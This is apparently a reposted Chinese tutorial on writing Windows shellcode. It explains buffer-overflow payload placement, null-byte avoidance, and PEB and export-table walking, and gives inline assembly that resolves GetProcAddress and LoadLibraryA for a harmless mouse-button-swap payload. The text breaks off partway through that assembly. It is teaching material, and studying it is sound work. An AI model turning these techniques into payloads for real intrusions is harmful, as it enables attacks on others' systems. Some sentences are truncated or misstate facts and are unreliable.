欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

windows下shellcode编写入门

程序员文章站 2022-07-15 14:39:35
...

0x00、介绍

比方说你手头上有一个IE或FlashPlayer现成的漏洞利用代码,但它只能够打开计算器calc.exe。但是这实际上并没有什么卵用,不是吗?你真正想要的是可以执行一些远程命令或实现其他有用的功能。

在这种情况下,你可能想要利用已有的标准shellcode,比如来自Shell Storm数据库或由Metasploit的msfvenom工具生成。不过,你必须先理解编写shellcode的基本原则,才可以在自己的漏洞利用代码中有效地使用它们。对于不熟悉这个术语的同学们,可以参考一下*:

在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。……Shellcode通常是以机器码形式编写的。

shellcode是一段可用于漏洞利用载荷的机器码。“机器码”又是什么?让我们以下面的C代码为例:

#include 
int main()
{
    printf("Hello, World!\n");
    return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

这段C代码会编译成如下汇编代码:

_main PROC
    push ebp
    mov ebp, esp
    push OFFSET HelloWorld ; "Hello, World!\n"
    call _printf
    add esp, 4
    xor eax, eax
    pop ebp
    ret 0
_main ENDP
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

此处,我们需要注意下main程序以及对printf函数的调用。正如调试器中突出显示的,这些代码已经编译成机器码:

windows下shellcode编写入门

所以,“55 8B EC 68 00 B0 33 01 … ”便是上述C代码的机器码。

0x01、shellcode如何应用到漏洞利用

举一个简单漏洞利用的示例,一个基于栈的缓冲区溢出漏洞。

void exploit(char *data)
{
    char buffer[20];      // 缓冲区位于栈上
    strcpy(buffer, data); // 使用strcpy复制数据
}
  • 1
  • 2
  • 3
  • 4
  • 5

利用此漏洞的主要思路如下:(请注意本文目的不是详述缓冲区溢出的漏洞利用原理)

1)向应用程序发送长度超过20字节的字符串,其中包含shellcode。 
2)由于写入数据越过静态分配缓冲区的边界,栈结构遭到破坏。同时,shellcode也会被放置在栈上。 
3)字符串通过自定义的内存地址重写栈上某块重要数据(如保存的EIP或函数指针) 
4)程序会从栈上跳转到你的shellcode,开始执行其中的机器码指令。

如果可以成功的利用此漏洞,你也能够运行自己的shellcode,并实际利用该漏洞做点有用的事情,而不仅仅是让程序崩溃。比如shellcode可以打开一个命令终端,下载并执行文件,重启计算机、启用远程桌面、或其他操作。

0x02、Shellcode特点

shellcode不能是任意的机器码。在编写自己的shellcode时,我们必须需要注意shellcode的一些限制:

1)不能使用字符串的直接偏移。 
2)不能确定函数的地址(如printf) 
3)必须避免一些特定字符(如NULL字节) 
关于上述的每个问题,让我们进行一个简短的讨论。

  1. 字符串的直接偏移

    即使你在C/C++代码中定义一个全局变量,一个取值为“Hello world”的字符串,或直接把该字符串作为参数传递给某个函数。但是,编译器会把字符串放置在一个特定的Section中(如.rdata或.data)。

    windows下shellcode编写入门

  2. 函数地址

    在shellcode中,我们却不能以逸待劳了。因为我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载到相同地址上。而且,DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。

    我们需要把DLL文件加载到内存,然后直接通过shellcode查找所需要的函数。幸运的是,Windows API为我们提供了两个函数:LoadLibrary和GetProcAddress。我们可以使用这两个函数来查找函数的地址。

  3. 避免空字节

    空字节(NULL)的取值为:0×00。在C/C++代码中,空字节被认为是字符串的结束符。正因如此,shellcode存在空字节可能会扰乱目标应用程序的功能,而我们的shellcode也可能无法正确地复制到内存中。

    虽然不是强制的,但类似利用strcpy()函数触发缓冲区溢出的漏洞是非常常见的情况。该函数会逐字节拷贝字符串,直至遇到空字节。因此,如果shellcode包含空字节,strcpy函数便会在空字节处终止拷贝操作,引发栈上的shellcode不完整。正如你所料,shellcode当然也不会正常的运行。

    例如MOV EAX,0; XOR EAX,EAX; 两条指令从功能上来说是等价的,但你可以清楚地看到第一条指令包含空字节,而第二条指令却包含空字节。虽然空字节在编译后的代码中非常常见,但是我们可以很容易地避免。

    还有,在一些特殊情况下,shellcode必须避免出现类似\r或\n的字符,甚至只能使用字母数

0x03、Linux平台与Windows平台的shellcode对比

相对于Windows平台,编写针对Linux平台的Shellcode可能更为简单。这是因为在linux平台上,我们可以轻松地通过0×80中断执行类似write、execve或send的系统调用。

例如,在linux平台上执行“Hello world”shellcode只需要以下几个步骤:

1)指定系统调用syscall序号(如“write”)。 
2)指定系统调用syscall的参数(如,stdout,“Hellow, world”,字符串长度) 
3)调用0x80中断来执行系统调用syscall。

这将会发起调用:write(stdout, “Hello, world”, length).

1)获取kernel32.dll 基地址; 
2)定位 GetProcAddress函数的地址; 
3)使用GetProcAddress确定 LoadLibrary函数的地址; 
4)然后使用 LoadLibrary加载DLL文件(例如user32.dll); 
5)使用 GetProcAddress查找某个函数的地址(例如MessageBox); 
6)指定函数参数; 
7)调用函数。

0x04、进程环境块(PEB)

在Windows操作系统中,PEB是一个位于所有进程内存中固定位置的结构体。此结构体包含关于进程的有用信息,如可执行文件加载到内存的位置,模块列表(DLL),指示进程是否被调试的标志,还有许多其他的信息。

重要的是理解操作系统如何调用这个结构体。这个结构在不同Windows操作系统版本上并不是固定的,所以它可能随着新的Windows发行版发生改变,但一些通用信息会保持不变。

正如前文中讨论的,DLL(由于ASLR机制)可以加载到不同的内存位置,因此我们不能在shellcode中使用固定的内存地址。不过,我们可以使用PEB这个结构,位于固定的内存位置,从而查找DLL加载到内存中的地址。

如果熟悉C/C++编程语言,你会很容易理解这个结构体包含哪些信息及其布局。微软官方文档显示如下字段:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

如你所见,一些称作“保留(Reserved)”字段没有相应的描述,而其他一些字段具有相应的文档描述。

对于不熟悉C/C++的同学们,你需要理解以下概念:BYTE表示1个字节。PVOID表示1个指针(或1个内存地址)-因此,在0×86系统上(32位系统)占用4个字节。 PPEB_LDR_DATA是1个指针,指向自定义结构体PEB_LDR_DATAPEB_LDR_DATA。其中第1个字段保留2个字节(Reserved1[2]是一个包含2个BYTE的数组)。BeingDebugged标志是1个字节,紧随着另一个字节(Reserved2)。Reserved3[2]是包含2个指针(2*4字节=8字节)的数组,而Ldr是一个指针-4个字节。

PEB_LDR_DATA包含如下信息:

typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
  • 1
  • 2
  • 3
  • 4
  • 5

LIST_ENTRY结构是一个简单的双向链表,包含指向下一个元素(Flink)的指针和指向上一个元素的指针(Blink),其中每个指针占用4个字节:

typedef struct _LIST_ENTRY {
  struct _LIST_ENTRY  *Flink;
  struct _LIST_ENTRY  *Blink;
} LIST_ENTRY, *PLIST_ENTRY;
  • 1
  • 2
  • 3
  • 4

InMemoryOrderModuleList字段是一个指针,指向LDR_DATA_TABLE_ENTRY 结构体上的LIST_ENTRY字段。但是它不是指向LDR_DATA_TABLE_ENTRY 起始位置的指针,而是指向这个结构的InMemoryOrderLinks字段。Flink和Blink指向LIST_ENTRY结构体的指针。

让我们一步一步的梳理:

1.读取PEB结构 
2.跳转到0xC偏移处读取Ldr指针 
3.跳转到0x14偏移处读取 InMemoryOrderModuleList字段

现在,我们来到了加载至内存首个模块的InMemoryOrderLinks元素。这个模块是可执行文件(例如calc.exe)。我们想要遍历所有已加载的DLL文件。InMemoryOrderLinks是一个LIST_ENTRY结构体,前面4个字节是Flink指针,而后面4个字节是Blink指针,通过前面的4个字节可以帮助我们遍历到第2个已加载模块。只需再次执行这个过程,我们便可以访问到第3个已加载模块的信息。

InMemoryOrderModuleList链表按照如下次序显示所有已加载模块:

1. calc.exe (可执行文件)
2. ntdll.dll
3. kernel32.dll 
  • 1
  • 2
  • 3

正如在第1部分中讨论的,我们需要访问kernel32.dll ,以便调用类似GetProcAddress 和 LoadLibrary函数,帮助我们再调用其他Windows API函数。

为达到此目的,我们需要从当前的LDR_DATA_TABLE_ENTRY结构体上读取Dllbase字段(DLL加载到内存中的位置)。DLLBase位于此结构的0×18偏移处。但是考虑到InMemoryOrderLinks字段又位于LDR_DATA_TABLE_ENTRY 结构体0×8偏移处,因此为获取获取DllBase,现在我们只需要偏移0×10个字节。下面是查找kernel32.dll内存地址所需步骤的概述: 
windows下shellcode编写入门

虽然绘画不是那么出色,但希望你可以明白其中的工作原理。你只需了解使用“Flink”指针就可以遍历所有已加载模块。别让这张图给吓着了,接下来你将会看到,我们完全可以在8行左右的代码内实现这个遍历操作。

0x05、PE文件格式

可移植的可执行文件(PE)是Windows系统上可执行文件和动态链接库所使用的文件格式。此格式描述这些文件所包含的内容:头(header)及包含所有代码和数据的节(Section,又称区段、区块等)。网上有许多介绍PE文件格式的文件爱你,但我们在这里只介绍编写shellcode所必需的信息:头(header),节(section)和导出表。

PE文件的简单示意图: 
windows下shellcode编写入门

正如你在这图片中所看到的,PE文件包含:

DOS头 
DOS存根(stub) 
PE头 
节表 
节(代码和数据节)

使用hex editor工具打开PE文件,可以给我们带来更详尽的内容: 
windows下shellcode编写入门

PE格式是相当复杂的,但我们只需了解如何解析PE头部来获取导出函数。让我们先从DOS头开始,DOS头可以表示成如下结构: 
windows下shellcode编写入门 
你可以在C/C++编译器的“WinNT.h”头部文件中找到完整的结构定义以及所需的其他结构。所有的PE文件(EXE或DLL)都是从这个结构开始。因此,如果在内存中找到某个模块,我们也会在那个内存地址上找到这个结构体。你可以通过前两个字节“MZ”来识别,这两个字节是e_magic 字段,表示DOS头的“签名”。

我们只需要了解该结构的 e_lfanew 字段。这个字段位于0x3C偏移处,它指出了PE头所的位置。PE头是包含了如下信息的结构体: 
windows下shellcode编写入门

它包含PE签名(如果使用编辑器打开一个PE文件,你可以看到“PE”字符串)。FileHeader是一个结构体,包含诸如节(代码和数据)数目、机器类型(X86,X64,ARM),以及“特征(characteristics)”等信息,可以用来判断文件是可执行文件文件(.exe)还是动态链接库(.dll)。

对于我们而言,OptionalHeader(可选头)是一个包含更多有用信息的结构体: 
windows下shellcode编写入门

它包含以下信息:

AddressOfEntryPoint:exe/dll 开始执行代码的地址,即入口点地址。 
ImageBase:DLL加载到内存中的地址,即映像基址。 
DataDirectory-导入或导出函数等信息。

我们只对最后一个字段感兴趣, DataDirectory,因为需要获得导出函数。DLL的工作原理:它包含各种函数的定义,然后再将这些函数导出。所以其他应用程序只需将这个DLL加载到内存,然后查找导出函数并进行调用。例如,“MessageBox”是一个“user32.dll”的导出函数(实际上,这个函数有两个版本:ASCII和Unicode)。

此结构的 DataDirectory字段是由 IMAGE_DATA_DIRECTORY 元素组成的数组。 IMAGE_DATA_DIRECTORY结构的定义如下: 
windows下shellcode编写入门 
IMAGE_DATA_DIRECTORY结构(16字节)位于OptionalHeader(可选头)结构体的最后。对于我们而言,只需要了解第1个数据目录是“导出目录”。 
为了访问导出目录,我们只需跟随这个结构的 VirtualAddress(相对虚拟地址)字段,它指向导出目录的开始位置。 DWORD是占用4个字节的数据类型,而 WORD仅占用2个字节。如果你计算截止到DataDirectory数组所有元素占用空间的大小,你会发现从PE头的起始位置到 DataDirectory数组的起始位置一共是120字节(0×78)。所以我们可以在0×78偏移处找到输出目录的相对虚拟地址(VirtualAddress字段)。

导出目录的结构如下: 
windows下shellcode编写入门 
我们将会使用这个结构的如下字段:

AddressOfFunctions:指向一个DWORD类型的数组,每个数组元素指向一个函数地址。 
AddressOfNames:指向一个DWORD类型的数组,每个数组元素指向一个函数名称的字符串。 
AddressOfNameOrdinals:指向一个WORD类型的数组,每个数组元素表示相应函数的排列序号(16位整数)。

接下以包含3个函数的DLL文件作为示例:

AddressOfFunctions = 0x11223344 -> [0x11111111, 0x22222222, 0x33333333]:0x11223344指向一个数组,该数组包含函数的地址:0x11111111,0x22222222和0x33333333。 
AddressOfNames = 0x12345678 -> [0xaaaaaaaa ->“func0”, 0xbbbbbbbb -> “func1”, 0xcccccccc -> “func2”] :0x12345678是指向一个数组,其中数组元素指向函数名称字符串:例如0xaaaaaaaa指向字符串“func1”,即导出函数的名称。 
AddressOfNameOrdinals = 0xabcdef —> [0x00, 0x01, 0x02] :0xabcdef是一个指向整数(16位)数组,数组元素表示相应函数在AddressOfFunctions数组上的偏移值。

为利用函数名称获取函数地址,我们需要通过解析 AddressOfNames数组来检查名称。第1个函数(func0)的序号是0,第2个函数(func1)的序号是1,而第3个函数(func2)的序号是2。因此,如果我们需要查找函数func2的地址,我们只需访问 AddressOfFunctions数组的第2个元素(从0开始编号)。

总之,就像这样:

函数地址=AddressOfFunctions[ 序号(函数名称) ]

别被吓到了,接下来你会看到,我们完全可以使用15-20行的汇编代码来搞定所有事情。

0x06、汇编语言

正如你在文本中看到的,我们完全可以使用C/C++高级语言来编写shellcode。 但若想要正确地了解Shellcode是什么,Shellcode如何工作,以及如何修改Shellcode,你需要理解和编写汇编代码。

本章节仅提供汇编语言的一些基本知识。要想深入理解汇编语言,请不要依赖本章节,你可以阅读一下诸如此类的好文章。本文的介绍并不是很完整,仅覆盖一些常见操作,从而让大家具备编写简单shellcode的能力。

为避免因不同汇编语言差异而导致的复杂性,以下编写的示例都是使用Microsoft Visual C++ Express版编译器上的内部汇编语言编译器。当然,你也可以使用像MASM, NASM 或YASM之类的汇编语言编译器。

首先让我们从开“变量”开始。处理器使用不同的寄存器(当变量考虑)来存储临时数据。每个寄存器都具有各自的用途,但是这里我们将其统一视为“全局变量”。更详细的介绍,你可以阅读这篇文章。

通用寄存器:EAX,EBX,ECX,EDX,ESI和EDI。每个寄存器都可以存储4字节的数据。同时,它们最后2个字节也可以单独称作AX,BX,CX,DX,SI和DI。最后1个字节可以AL,BL,CL,DL的名称来访问。 
windows下shellcode编写入门

比方说程序从0×12345678地址开始执行。其中有一个特定寄存器保存当前执行指令的地址,称作EIP(指令指针)。执行完一条指令之后,这个寄存器会自动更改为下一条指令的地址。现在已经拥有“变量”,让我们看看可以利用它们做些什么。为完成一些有用的操作,我们需要使用多个指令。

指令:

mov 目的,源:把数据从源操作数拷贝到目的操作数。 
add 目的,源:把源操作数加到目的操作数,或目的操作数=目的操作数+源操作数。 
sub 目的,源:目的操作数减去源操作数,或目的操作数=目的操作数-源操作数。 
inc 目的:目的操作数的取值加1 
dec目的:目的操作数的取值自减1 
示例:

; Comments can be specified by starting with a ;

mov EAX, 5   ; Put value 5 in the EAX
add EAX, 2   ; Add 2 to EAX, EAX will be 7
inc EAX      ; EAX will be 8
mov EBX, 2   ; Store value 2 in EBX
sub EAX, EBX ; EAX will be 6
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

你可以像下图一样在Visual C++平台上测试这个程序。 
windows下shellcode编写入门

我们可以点击左侧的灰色线框来放置断点,Visual C++调试器将会在断点处暂停程序的执行。当你启动这个程序时,它会在指定的断点处停止运行。此时,你会在开发环境的底部看到“Watch1”窗口。你可以在这个窗口上添加寄存器名称,从而查看它们的取值。所以,添加EAX、EBX等寄存器名称,然后观察它们的取值。 
windows下shellcode编写入门

你可以按下F11来单步执行指令,然后在watch窗口上观察寄存器的取值是如何变化的。或者你也可以只把鼠标放在寄存器名称的上方来查看它的取值。请注意这些只是基本的调试操作,要获得更高级的调试功能,你可以使用像Immunity Debugger之类的调试器,但是为简单起见,你使用Visual C++自带的调试器即可。

程序的控制流会经过一些决策序列,即通过比较两个数值来采取不同的行为。首先,你需要学会使用标签(label)。标签只是为了标记代码的不同位置。你可以使用“跳转至(jumps)”来访问不同的代码位置。 
有用的指令:

jump 地址/标签。无条件地跳转到某个标签或内存地址 
cmp 目的,源:通过目的操作数减去源操作数来比较目的操作数和源操作数(不改变操作数的值)。“结果”也不会被保存下来,只需记住如果源操作数等于目的操作数,计算机将会设置“Zero Flag”标志位。这个标志位会被接下来的条件转移指令所使用。 
jz 地址/标签:如果已设置了“Zero Flag”标志位(jz=如果为零就跳转),跳转到指定标签或地址。因此如果之前“cmp”指令所比较的参数是相等的,“Zero Flag”便会被设置,然后代码跳转到指定地址或标签。如果不等,什么事情都不会发生,程序将接着运行下一条指令。 
jnz 地址/标签:与jz刚好相反(jnz=如果不为零就跳转),如果“Zero Flag”未被设置,代码将会跳转到指定地址。也就是所说,前面的“cmp”指令所比较的参数是不相等的。

汇编语言还有许多其他的跳转指令,但这些对入门而言已经足够。作为示例,你可以尝试以下代码: 
windows下shellcode编写入门

现在,让我们把话题转到汇编语言的重点内容:栈。栈是一种内存中的数据结构,你可以在其中存储数据。你可以将其视为一块内存空间,然后像堆叠盘子一样存放数据,一个数据放在另一个数据的上面,而你只可以从顶部取数据。 
关于栈,有两条非常有用的指令:

push 数据:把数据压入栈中 
pop 寄存器:从栈顶取出数据,然后存储在指定的寄存器

同时,有两个寄存器“指向”栈:

ESP寄存器(栈指针):指向栈顶 
EBP寄存器(基指针,或帧指针):指向栈底

在与栈打交道时,会发生一些重要的事情。比如ESP,表示栈顶,取值为0×11223344。如果我们通过“push 0xaaaaaaaa”指令把4字节的数据压入栈中,0xaaaaaaaa数据会存入栈的顶部,而ESP取值会减少4个字节。所以,我们可以说栈是往低地址空间增长的。在push指令之后,ESP的取值将会变为0×11223340。 
如果我们从栈上获取数据,情况便会颠倒过来:数据从栈上移除(实际上,由于编译优化的原因,数据仍存储那里,未被清除),ESP取值会增加4个字节。 
看似困难,其实不然。例如: 
windows下shellcode编写入门

思考一下栈上的数学运算,假定我们在栈上压入0×20字节的数据(通过8条push指令,0×20=32),我们可以只修改ESP值来轻易地清理栈上的空间:addESP, 0×20。这比8条pop指令更为简单有效。现在我们学习调用函数。有两种常见的函数调用方式:stdcall和cdecl。WindowsAPI使用stdcall调用约定(方式),我们仅讨论这种函数调用方式。不过,它们是类似的,你可以从 这里找到更多的信息。让我们以下面的函数作为示例:

int function(int x, int y)
{
    return x + y;
}
  • 1
  • 2
  • 3
  • 4

若要调用function(0×11,0×22),我们需要了解以下内容:

1.从右往左把参数压入栈中。 
2.使用“call function”指令来调用函数 
3.call指令会自动地把下一条指令的地址压入栈中(ESP的取值也会减小) 
4.函数返回后,EAX寄存器会保存函数执行的结果。

windows下shellcode编写入门

在该函数执行完成之后,EAX寄存器的值为0×33(0×11+0×22=0×33)。

所以,这些是汇编的基础知识。不过,我们也会在shellcode中使用其他的指令,类似:

xor 目的,源:二进制操作,但是我们只会像“xor eax, eax”这样使用该指令。这条命令会把eax寄存器赋值为0。 
lea 目的,源(取有效地址):主要功能是把源操作数指定的内存地址存入目的操作数。 
lodsd:把ESI寄存器指定地址的数据存入EAX寄存器。 
xchg 目的,源-交换操作数的值:源操作数将会取得目的操作数的值,而目的操作数也会取得源操作数的值。

汇编语言是一门难度颇大的语言,但如果你循序渐进的学习,要掌握它也并非难事。

0x07、实战shellcode

我们将会编写一个简单的”SwapMouseButton“的shellcode,该shellcode会互换鼠标的左键和右键。文中涉及的基础知识已在前文中介绍,本文不再详述。我们先从一个已知shellcode着手:Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode。此名称可以透漏shellcode的相关功能,比如它使用:

URLDownloadToFile Windows API函数下载文件 
WinExec执行文件(可执行文件:.exe) 
ExitProcess终止运行shellcode的进程

使用这个示例程序,我们需要调用SwapMouseButton函数和ExitProcess函数。

BOOL WINAPI SwapMouseButton(
  _In_ BOOL fSwap
);

VOID WINAPI ExitProcess(
  _In_ UINT uExitCode
);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

正如你看到的,每个函数只需要1个参数:

1.fSwap参数可以是TRUE或FALSE,鼠标的按键便会被互换,否则被恢复。 
2.uExitCode表示进程退出码。每个进程在退出时必须返回一个值(如果一切顺利的话,返回值为零,否则返回其他数值)。这是为什么main函数通常需要return 0。

现在我们需要调用这两个函数。在C++中,调用过程非常简单:

因为编译器知道去链接“user32”函数库,然后查找相关函数。但是我们需要在shellcode手动完成这个过程。我们需要手动加载“user32”库,找到SwapMouseButton函数的地址,并进行调用。

但是,此处编译器已经知道LoadLibrary和GetProcAddress函数的地址。在shellcode中,我们需要通过编程的方式来寻找。

注意我们不需要在C++中调用ExitProcess函数,因为main函数在执行return 0之后,程序便会终止运行。但从shellcode上,我们需要确保程序能够”优雅地“终止而不是“崩掉”(crash)。

0x08、逐步编写shellcode

在前面几部分已经讨论过,为了制作出稳定可靠的shellcode,我们需要遵循以下的步骤。我们已经知道调用哪些函数,但是,我们首先需要定位这些函数的地址。所需的步骤如下:

查找kernel32.dll加载到内存的位置 
找到其导出表 
定位kernel32.dll导出的GetProcAddress函数 
使用GetProcAddress函数获取LoadLibrary的函数地址 
使用LoadLibrary函数加载user32.dll动态链接库 
获取user32.dll中SwapMouseButton的函数地址 
调用SwapMouseButton函数 
查找ExitProcess的函数地址 
调用ExitProcess函数

我们使用Visual Studio 2015开发工具来编写shellcode,当然你也可以其他版本或类似masm,nasm的汇编器。在Visual Studio开发环境中,我们使用__asm { }来直接编写汇编代码。请仔细阅读和理解这部分代码。

#include "stdafx.h"
int main()
{
    __asm
    {
        // ASM code here
    }
    return 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  1. 查找kernel32.dll基址 
    如下所示,我们可以使用下述代码查找kernel32.dll加载到内存中的位置。
xor ecx, ecx
mov eax, fs:[ecx + 0x30]  ; EAX = PEB
mov eax, [eax + 0xc]      ; EAX = PEB->Ldr
mov esi, [eax + 0x14]     ; ESI = PEB->Ldr.InMemOrder
lodsd                     ; EAX = Second module
xchg eax, esi             ; EAX = ESI, ESI = EAX
lodsd                     ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]     ; EBX = Base address
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

(1-2行):第1条指令将ecx寄存器清零,然后在下一条指令中使用。但为什么要这么做?还记得我们在前面提到过要避免“空”字节。如果第二条指令为mov eax,fs:[30]指令,将会汇编成机器码序列:64 A1 30 00 00 00,便会出现空字节。然而mov eax, fs:[ecx+0x30]将会汇编成64 8B 41 30,这种方式可以避免“空”字节。

(3-4行):现在PEB指针已经保存到eax寄存器。正如上篇文章提到的,我们可以在PEB指针的0xC偏移处获得Ldr,然后顺着指针在Ldr的0×14偏移处获取模块列表。

(5-7行):当前位于“InMemoryOrderLinks”链表的第1个模块,即“program.exe” 。此处,该结构的第1个元素是Flink指针,指向下一个模块。然后,我们将这个指针存放在esi寄存器。接着,lodsd指令会根据esi寄存器指向的地址读取双字,然后把结果存放在eax寄存器。这就意味着在lodsd指令执行之后,我们可以通过eax寄存器获取到第2个模块的地址,即ntdll.dll。我们通过xchg指令交换eax和esi寄存器中的值,便把第2个模块的指针存放到esi寄存器,再次调用lodsd指令,从而遍历到第3个模块:kernel32.dll。

(8行):此时,eax寄存器指向kernel32.dll的“InMemoryOrderLinks”。再加上0×10字节便可以获得“DllBase”指针,即kernel32.dll加载到内存中的位置。

2.找到kernel32.dll的导出表

我们已经在内存中找到kernel32.dll。现在,我们需要解析PE文件,然后找到导出表。幸好,这个过程并不复杂。

mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx          ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx          ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx          ; ESI = Names table
xor ecx, ecx          ; EXC = 0
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

(1-2行):我们已经知道可以在0x3C偏移处获得e_lfanew指针,因为MS-DOS头的大小是0×40字节,而最后4个字节就是e_lfanew指针。我们需要把基地址加上这个偏移值,因为这个指针是相对于基地址的(只是个偏移值,不是绝对地址)。

(3-4行):在PE头的0×78偏移处,我们可以找到导出表的”DataDirectory“。这是因为PE头(签名,文件头,可选头)在”DataDirectory“之前的大小是0×78字节,而导出表是”DataDirectory“表的第1个元素。再次,我们把edx寄存器加上这个数值,现在已经抵达kernel32.dll的导出表。

(5-7行):在IMAGE_EXPORT_DIRECTORY结构上,我们可以在0×20偏移处获得“AddressOfNames”的指针,从而得导出函数的名称。这个步骤是需要的,因为我们尝试通过函数名称来查找函数,尽管可以使用其他的方法。我们将指针保存到esi寄存器,然后把ecx寄存器清零。

现在,我们了解一下”AddressOfNames“,一个指针数组(此处的指针是相对于映像基址的偏移而已,即kernel32.dll加载到内存的位置)。所以每4个字节代表一个指向函数名称的指针。我们可以通过如下代码来找到函数名称和函数名称的序号(GetProcAddress函数的序号):

Get_Function:
inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

(1-3行):第1行什么也没做。它只是一个标签,为某个位置起个名称,我们可以跳转这里来读取函数的名称,接下来你将会看到。在第3行,我们可以自增ecx寄存器,它是函数的计数器,也是函数的序号。

(4-5行):esi寄存器指向第1个函数的名称。lodsd指令会把函数名称(比如”ExportedFunction“)的偏移存放在eax寄存器,然后ebx(存放kernel32的基址)加上这个偏移值便可以获取正确的指针。注意lodsd指令也会把esi寄存器值增加4。这点有助于我们,因为我们不需要手动增加它的值,我们只需要再次调用lodsd便可以获取下一个函数名称的指针。

(6-11行)eax寄存器存储了导出函数名称的正确指针,而不是偏移值。因此,它指向一个函数名称的字符串,我们需要检查一下此函数是否是GetProcAddress。在第6行,我们把导出函数的名称和”0×50746547“进行比较,实际上是”PteG“的ASCII码值”50 74 65 47“代表。你可能猜到翻过来便是”GetP“,表示GetProcAddress的前4个字节,但由于x86使用little-endian模式,意味着数字在内存中是逆序排列的。因此,我们实际上是比较当前函数名前4个字节是否是”GetP“。如果不匹配,jnz指令跳转到Get_Function标签,继续比较下一个函数名。如果匹配,我们也会比较后4个字节,必须是”rocA“,再后面4个字节是”ddre“,从而确保排除以”GetP“开头的其他函数。

3.找到GetProcAddress函数地址

此时,我们只是找到GetProcAddress函数的序号,但是我们可以利用序号来找到函数的实际地址:

mov esi, [edx + 0x24]    ; ESI = Offset ordinals
add esi, ebx             ; ESI = Ordinals table
mov cx, [esi + ecx * 2]  ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]    ; ESI = Offset address table
add esi, ebx             ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx             ; EDX = GetProcAddress
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

(1-2行):此处,edx寄存器指向IMAGE_EXPORT_DIRECTORY结构。在此结构的0×24偏移处,我们可以找到AddressOfNameOrdinals偏移。在第2行,这个偏移值加上ebx寄存器,即kernel32.dll基地址,我们可以获得指向名称序号表的有效指针。

(3-4行):esi寄存器指向指向名称序号数组。这个数组包含2字节大小的数字。我们已经知道GetProcAddress函数名称的序号(索引)存储在ecx寄存器,因此我们便可以获得函数地址的序号(索引)。这可以帮助我们获取函数的地址。我们需要递减这个数字,因为名称序号从0开始的。

(5-6行):在0x1c偏移处,我们可以找到AddressOfFunctions,指向函数指针的数组。我们只需加上kernel32.dll的基地址便可以访问这个数组的开始位置。

(7-8行):现在,ecx寄存器存储了AddressOfFunctions数组的索引值,我们可以从AddressOfFunctions[ecx]位置读取GetProcAddress的函数指针(是相对于映像基地址的偏移)。我们使用ecx * 4,因为每个指针占用4个字节,且esi指针指向数组的开始位置。在第8行,加上映像的基地址之后,edx寄存器便可以指向GetProcAddress函数。

4.获取LoadLibrary函数地址

xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

(1-3行):首先,我们将ecx清零,因为后续会使用。其次,在第2行和第3行,我们把ebx和edx压入栈上以备后用,其中ebx存储kernel32的基地址,edx存储GetProcAddress的函数指针。

(4-10行):现在,我们可以进行如下调用:GetProcAddress(kernel32, “LoadLibraryA”)。我们已经获知kernel32的基地址,但是如何使用字符串?我们再次利用栈来实现。我们需要把“LoadLibraryA\0”存放在栈上。是的,字符串必须以空字节结尾,这就是为什么需要在第4行把ecx清零后压入栈上。我需要把LoadLibraryA字符串拆分成4个字节一组,按照相反的顺序压入栈上。我们首先需要放置“aryA”,然后是“Libr“和”Load“,所以最终在栈上字符串将会是”LoadLibraryA“。因为我们已经把数据存入栈上,esp寄存器,即栈指针,便会指向”LoadLibraryA“字符串的开头。我们现在需要从后往前把函数参数压入栈上,因此首先在第8行把esp压入栈上,其次是在第9行把ebx,即kernel32基地址,然后我们调用存储GetProcAddress函数指针的edx。

